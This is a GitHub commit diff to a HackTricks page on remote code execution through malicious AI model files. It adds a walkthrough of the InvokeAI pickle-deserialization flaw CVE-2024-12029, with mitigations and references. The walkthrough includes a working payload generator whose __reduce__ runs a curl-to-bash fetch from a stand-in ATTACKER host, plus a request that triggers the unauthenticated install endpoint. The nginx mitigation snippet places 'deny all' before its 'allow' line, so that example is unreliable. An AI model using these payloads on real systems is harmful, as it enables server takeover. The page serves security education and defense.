Skip to content

Commit 1bdf910

Browse files
authored
Merge pull request #1148 from HackTricks-wiki/update_CVE-2024-12029___InvokeAI_Deserialization_of_Untru_20250718_013011
CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data ...
2 parents ae52366 + f13b901 commit 1bdf910

1 file changed

Lines changed: 86 additions & 4 deletions

File tree

src/AI/AI-Models-RCE.md

Lines changed: 86 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -23,10 +23,86 @@ At the time of the writting these are some examples of this type of vulneravilit
2323
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesn’t cover old format – “downgrade attack”) | |
2424
| **Others** (general) | *Design flaw* – Pickle serialization | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | |
2525

26-
2726
Moreover, there some python pickle based models like the ones used by [PyTorch](https://github.com/pytorch/pytorch/security) that can be used to execute arbitrary code on the system if they are not loaded with `weights_only=True`. So, any pickle based model might be specially susceptible to this type of attacks, even if they are not listed in the table above.
2827

29-
Example:
28+
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
29+
30+
`InvokeAI` is a popular open-source web interface for Stable-Diffusion. Versions **5.3.1 – 5.4.2** expose the REST endpoint `/api/v2/models/install` that lets users download and load models from arbitrary URLs.
31+
32+
Internally the endpoint eventually calls:
33+
34+
```python
35+
checkpoint = torch.load(path, map_location=torch.device("meta"))
36+
```
37+
38+
When the supplied file is a **PyTorch checkpoint (`*.ckpt`)**, `torch.load` performs a **pickle deserialization**. Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom `__reduce__` method inside the checkpoint; the method is executed **during deserialization**, leading to **remote code execution (RCE)** on the InvokeAI server.
39+
40+
The vulnerability was assigned **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
41+
42+
#### Exploitation walk-through
43+
44+
1. Create a malicious checkpoint:
45+
46+
```python
47+
# payload_gen.py
48+
import pickle, torch, os
49+
50+
class Payload:
51+
def __reduce__(self):
52+
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
53+
54+
with open("payload.ckpt", "wb") as f:
55+
pickle.dump(Payload(), f)
56+
```
57+
58+
2. Host `payload.ckpt` on an HTTP server you control (e.g. `http://ATTACKER/payload.ckpt`).
59+
3. Trigger the vulnerable endpoint (no authentication required):
60+
61+
```python
62+
import requests
63+
64+
requests.post(
65+
"http://TARGET:9090/api/v2/models/install",
66+
params={
67+
"source": "http://ATTACKER/payload.ckpt", # remote model URL
68+
"inplace": "true", # write inside models dir
69+
# the dangerous default is scan=false → no AV scan
70+
},
71+
json={}, # body can be empty
72+
timeout=5,
73+
)
74+
```
75+
76+
4. When InvokeAI downloads the file it calls `torch.load()` → the `os.system` gadget runs and the attacker gains code execution in the context of the InvokeAI process.
77+
78+
Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` automates the whole flow.
79+
80+
#### Conditions
81+
82+
• InvokeAI 5.3.1-5.4.2 (scan flag default **false**)
83+
`/api/v2/models/install` reachable by the attacker
84+
• Process has permissions to execute shell commands
85+
86+
#### Mitigations
87+
88+
* Upgrade to **InvokeAI ≥ 5.4.3** – the patch sets `scan=True` by default and performs malware scanning before deserialization.
89+
* When loading checkpoints programmatically use `torch.load(file, weights_only=True)` or the new [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
90+
* Enforce allow-lists / signatures for model sources and run the service with least-privilege.
91+
92+
> ⚠️ Remember that **any** Python pickle-based format (including many `.pt`, `.pkl`, `.ckpt`, `.pth` files) is inherently unsafe to deserialize from untrusted sources.
93+
94+
---
95+
96+
Example of an ad-hoc mitigation if you must keep older InvokeAI versions running behind a reverse proxy:
97+
98+
```nginx
99+
location /api/v2/models/install {
100+
deny all; # block direct Internet access
101+
allow 10.0.0.0/8; # only internal CI network can call it
102+
}
103+
```
104+
105+
## Example – crafting a malicious PyTorch model
30106

31107
- Create the model:
32108

@@ -67,7 +143,6 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
67143
# /tmp/pwned.txt is created even if you get an error
68144
```
69145

70-
71146
## Models to Path Traversal
72147

73148
As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded.
@@ -102,4 +177,11 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
102177
tf.add(PAYLOAD) # rides the symlink
103178
```
104179

105-
{{#include ../banners/hacktricks-training.md}}
180+
## References
181+
182+
- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
183+
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
184+
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
185+
- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
186+
187+
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)